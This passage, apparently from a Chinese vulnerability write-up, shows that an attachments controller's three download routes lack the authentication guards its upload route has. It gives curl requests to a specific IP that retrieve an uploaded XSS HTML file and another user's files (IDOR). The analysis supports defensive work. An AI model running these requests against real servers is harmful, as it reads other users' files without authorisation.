iA4/FbWvonkYeJp4jKipY66k7ahnx7gMAAAAANAf3jcyMvJz+3lXwhM8M3mES3A+vAVmjiZ4tW+HT04HWqZ6tZ+V05y0JGFAPshDsIdh7yttVCjjaTGEbQfjMgAAAAB2Ez15qoDdRIOOGt/vgbh6Dwe9HlALZCAPwR6mua49Ospt9UPbAQAAAAC40MCoAkLMVgW2qyT21O9ZjDt8vueOJAzIB3kI9ih8QO/chN6+Uq76o+0AAAAAAFxoYFQBMYL96/z2GQAAAP1DHzC7tUrjxQ4gAgAAAAAAO4hdf6YKAAAAAAAAAAAAQD+ApwoAAAAAAAAAAABACWBUAQAAAAAAAAAAACgBjCoAAAAAAAAAAAAAhSH6/3wF81YX+T4dAAAAAElFTkSuQmCC) + +,但 PresignedUrl.getPath() 只是查数据库透传路径,没有任何签名校验逻辑。 + +再试 /dl/——第三种路径: + + +``` +$ curl -s http://139.199.68.168:8080/dl/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html +File not found +``` + +/dl/ 的路由格式不同——nc/{p1}/{p2}/uploads/{filename},和上传文件的实际存储路径不匹配,所以 404。但路由本身也没有挂守卫。 + +三种下载路径,零个守卫。 + + +### 4.4 源码看下载路由 + + +同一个 controllers/attachments.controller.ts 里(line 106-236),三个下载路由: + + +``` +// 路由1:/download/{filename} +@Get('/download/:filename(*)') +async fileRead(@Param('filename') filename, @Res() res) { + const file = await this.attachmentsService.getFile({ + path: path.join('nc', 'uploads', filename), + }); + if (!(await localFileExists(file.path))) + return res.status(404).send('File not found'); + if (isPreviewAllowed({ mimetype: file.type, path: file.path })) { + res.sendFile(file.path); + } else { + res.download(file.path); + } +} + +// 路由2:/dl/{param1}/{param2}/{filename} +@Get('/dl/:param1([a-zA-Z0-9_-]+)/:param2([a-zA-Z0-9_-]+)/:filename(*)') +async fileReadv2(@Param('param1') param1, @Param('param2') param2, + @Param('filename') filename, @Res() res) { + const file = await this.attachmentsService.getFile({ + path: path.join('nc', param1, param2, 'uploads', ...filename.split('/')), + }); + // ...相同逻辑,无守卫 +} + +// 路由3:/dltemp/{param} +@Get('/dltemp/:param(*)') +async fileReadv3(@Param('param') param, @Res() res) { + const fullPath = await PresignedUrl.getPath(`dltemp/${param}`); + // presigned URL 解析,但无守卫 + if (isPreviewAllowed({ ... })) { + res.sendFile(file.path); + } else { + res.download(file.path); + } +} +``` + +一个守卫都没挂。注意 @Get('/download/:filename(\*)') 的 (\*) 语法——filename 参数会匹配所有剩余路径(包括子目录)。 + +对比上传路由: + + +``` +@UseGuards(MetaApiLimiterGuard, GlobalGuard) +@Post(['/api/v1/db/storage/upload', '/api/v2/storage/upload']) +``` + +上传挂了两个守卫,下载一个都没挂。这三个下载路由的代码相隔不到 100 行——在编辑器里上下翻一下就能看到上传的守卫装饰器。 + +我是怎么注意到这个问题的?先看了上传路由,发现挂了 GlobalGuard,然后下意识想确认下载路由有没有同样的保护。翻到 fileRead 方法时发现什么装饰器都没有,往上滚到类定义确认没有 @UseGuards 在类级别——也没有。再看 fileReadv2 和 fileReadv3,同一个模式,全是裸奔。三种不同风格的下载实现,共同的缺陷:没守卫。 + + +### 4.5 跨用户文件读取(IDOR) + + +注册用户 B: + + +``` +$ B_TOKEN=$(curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \ + -H "Content-Type: application/json" \ + -d '{"email":"user_b@test.com","password":"Hack1234!","first_name":"User","last_name":"B"}' \ + | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])") +``` + +用户 B 直接用 A 上传的文件路径访问——不需要 B 自己的 Token: + + +``` +$ curl -s http://139.199.68.168:8080/download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html + +``` + +文件存储目录在 attachments.service.ts 中用 hash(userId) 划分: + + +``` +param.path = param.scope + ? `${hash(userId)}` + : param.path || `${moment().format('YYYY/MM/DD')}/${hash(userId)}`; +``` + +路径里包含了 userId 的 hash + + +![](data:image/png;base64,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